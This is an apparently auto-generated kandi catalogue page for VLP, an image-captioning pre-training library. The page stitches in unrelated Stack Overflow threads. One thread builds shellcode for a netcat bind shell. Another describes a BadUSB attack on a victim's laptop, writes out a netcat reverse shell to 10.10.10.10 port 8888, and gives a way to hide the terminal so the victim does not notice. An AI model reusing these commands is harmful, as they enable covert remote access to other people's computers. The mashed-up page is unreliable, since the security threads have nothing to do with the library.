VLP | Language Pre-training for Image Captioning | Machine Learning library

 by   LuoweiZhou Python Version: Current License: Apache-2.0

kandi X-RAY | VLP Summary

kandi X-RAY | VLP Summary

VLP is a Python library typically used in Artificial Intelligence, Machine Learning, Deep Learning, Pytorch, Tensorflow applications. VLP has no bugs, it has no vulnerabilities, it has a Permissive License and it has low support. However VLP build file is not available. You can download it from GitHub.

Most of the experiments in this work are performed on 8x V100 GPUs with distributed data parallel (i.e., set --world_size to 8, --local_rank and --global_rank from 0 to 7 with 8 separate scripts), unless specified otherwise. See below for detailed configurations (also in the Appendix of the paper). The (x2), (x4), (x8) in the batch size and learning rate results from distributed data parallel. Gradients are accumulated/added across GPUs.
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            kandi-support Support

              VLP has a low active ecosystem.
              It has 276 star(s) with 51 fork(s). There are 16 watchers for this library.
              OutlinedDot
              It had no major release in the last 6 months.
              There are 8 open issues and 31 have been closed. On average issues are closed in 8 days. There are no pull requests.
              It has a neutral sentiment in the developer community.
              The latest version of VLP is current.

            kandi-Quality Quality

              VLP has 0 bugs and 0 code smells.

            kandi-Security Security

              VLP has no vulnerabilities reported, and its dependent libraries have no vulnerabilities reported.
              VLP code analysis shows 0 unresolved vulnerabilities.
              There are 0 security hotspots that need review.

            kandi-License License

              VLP is licensed under the Apache-2.0 License. This license is Permissive.
              Permissive licenses have the least restrictions, and you can use them in most projects.

            kandi-Reuse Reuse

              VLP releases are not available. You will need to build from source code and install.
              VLP has no build file. You will be need to create the build yourself to build the component from source.
              Installation instructions are not available. Examples and code snippets are available.
              VLP saves you 1571 person hours of effort in developing the same functionality from scratch.
              It has 3495 lines of code, 167 functions and 18 files.
              It has high code complexity. Code complexity directly impacts maintainability of the code.

            Top functions reviewed by kandi - BETA

            kandi has reviewed VLP and discovered the below as its top functions. This is intended to give you an instant insight into VLP implemented functionality, and help decide if they suit your requirements.
            • Load a model from a pretrained model
            • Return the path to a file or None if not found
            • Perform a http get request
            • Download a file from the cache
            • Tokenize text
            • Split text into tokens
            • Compute the attention matrix
            • Transpose x
            • Perform a single prediction
            • Perform beam search
            • Evaluate the embeddings
            • Convert ids to tokens
            • Convert a list of tensors into a list of Tensors
            • Detokenize a list of tokens
            • Forward computation
            • Perform a forward computation
            • Return the maximum epoch of the model
            • Convert tokens to ids
            • Run language evaluation
            • Perform forward computation
            • Return the state of the optimizer
            • Gets self - critical reward
            • Create a vocab from a pretrained model
            • Performs a single step
            • Load the state of the optimizer
            • Wrapper for warmup
            Get all kandi verified functions for this library.

            VLP Key Features

            No Key Features are available at this moment for VLP.

            VLP Examples and Code Snippets

            No Code Snippets are available at this moment for VLP.

            Community Discussions

            QUESTION

            Why is Netcat throws forward host lookup failed: Unknown host while using execve in assembly?
            Asked 2021-Dec-29 at 14:12

            I have been learning buffer overflows and i am trying to execute the following command through shellcode /bin/nc -e /bin/sh -nvlp 4455. Here is my assembly code:

            ...

            ANSWER

            Answered 2021-Dec-29 at 14:12

            As you can see in strace, the execve command executes as: execve("/bin//nc", ["/bin//nc", "/bin//nc-e //bin/bash -nvlp 4455"], NULL) = 0 It seems to be taking the whole /bin//nc-e //bin/bash -nvlp 4455 as a single argument and thus thinks it's a hostname. In order to get around that, the three argv[] needed for execve() is pushed seperately. argv[]=["/bin/nc", "-e/bin/bash", "-nvlp4455"] These arguments are each pushed into edx, ecx, and ebx. since ebx needs to be /bin/nc, which was already done in the original code. we just needed to push 2nd and 3rd argv[] into ecx and edx and push it into stack. After that we just copy the whole stack into ecx, and then xor edx,edx to set edx as NULL.

            Here is the correct solution:

            Source https://stackoverflow.com/questions/70503475

            QUESTION

            how to display velodyne points on ROS installed on "Ubuntu on Mac" via Parallels Desktop on macOS?
            Asked 2020-Jun-23 at 20:51

            This is probably easy but I am a noob in networks so please help! Basically I am trying to display lidar points from my Velodyne VLP-16 on ROS installed on Ubuntu 18.04 which is in turn installed via Parallels Desktop on my macOS.

            So I plugged the velodyne's ethernet cable to my MacBook via a usb-C-to-ethernet adapter and set this on my mac:

            I can type in my browser this address 192.168.1.201 and I can see the velodyne interface. So it works.

            When I now go to "Ubuntu on Mac" via Parallels Desktop and do not change anything in Network->Settings->Wired->Connected so I can see these settings:

            ... I can still see the velodyne interface via a browser on Ubuntu by typing the 192.168.1.201 address as I can on macOS. The only problem is that when I wanna run

            ...

            ANSWER

            Answered 2020-Jun-23 at 20:51

            After a thorough examination of the network traffic both on macOS and on the emulated Ubuntu using Wireshark on both ends, I realised that there is no Network adapter present in the virtual machine configuration.

            Following the answer from Desktop Parallel support, I did: Ubuntu on Mac -> configure -> hardware -> add device -> network 2 -> source: USB...

            and when you check now in Wireshark, you will see the traffic coming from the USB adapter and the ROS driver, via an adequate port, will capture the packets.

            Source https://stackoverflow.com/questions/62525243

            QUESTION

            Hide a reverse shell terminal without screen
            Asked 2020-May-08 at 21:46

            SCENARIO: the attacker insert into a victim's laptop an USB which acts as a keyboard. The payload opens a terminal, executes a reverse shell and hides the terminal.

            PROBLEM: the tests I did locally (ubuntu 19.04, and digispark as usb) are the following:

            ONE

            terminal A nc -e /bin/bash 10.10.10.10 8888

            terminal B nc -vlp 8888

            Everything works, I have my shell with the prompt on the terminal B but the terminal A is not hidden. Then it is useless in this case.

            TWO

            terminal A nc -e /bin/bash 10.10.10.10 8888&; disown; exit

            terminal B nc -vlp 8888

            terminal B just hangs and terminal A is hidden. Useless.

            THREE

            terminal A nohup nc -e /bin/bash 10.10.10.10 8888&; exit

            terminal B nc -vlp 8888

            terminal B just hangs and terminal A is hidden

            FOUR

            terminal A: I open screen then executenc -e /bin/bash 10.10.10.10 8888 , CTRL^A , then d and finally exit.

            terminal B nc -vlp 8888

            using screen everything works (terminal B receives a working shell and terminal A isn't visible) but I don't want to use screen because it is not installed by default.

            QUESTION: is there a way (using preinstalled tools) to hidden the terminal without screen but with the same effect?

            ...

            ANSWER

            Answered 2020-May-08 at 21:46
            nohup nc ...&; disown; exit
            

            Source https://stackoverflow.com/questions/61688410

            QUESTION

            express.static() won't work to fetch images
            Asked 2020-Mar-29 at 19:38

            I am new at programming, sorry if the question is stupid. I could not find anything to help me online.

            On Angular, I have the URL of the image to fetch from the server side. If the URL is

            ...

            ANSWER

            Answered 2020-Mar-29 at 10:21

            Community Discussions, Code Snippets contain sources that include Stack Exchange Network

            Vulnerabilities

            No vulnerabilities reported

            Install VLP

            You can download it from GitHub.
            You can use VLP like any standard Python library. You will need to make sure that you have a development environment consisting of a Python distribution including header files, a compiler, pip, and git installed. Make sure that your pip, setuptools, and wheel are up to date. When using pip it is generally recommended to install packages in a virtual environment to avoid changes to the system.

            Support

            For any new features, suggestions and bugs create an issue on GitHub. If you have any questions check and ask questions on community page Stack Overflow .
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          • HTTPS

            https://github.com/LuoweiZhou/VLP.git

          • CLI

            gh repo clone LuoweiZhou/VLP

          • sshUrl

            git@github.com:LuoweiZhou/VLP.git

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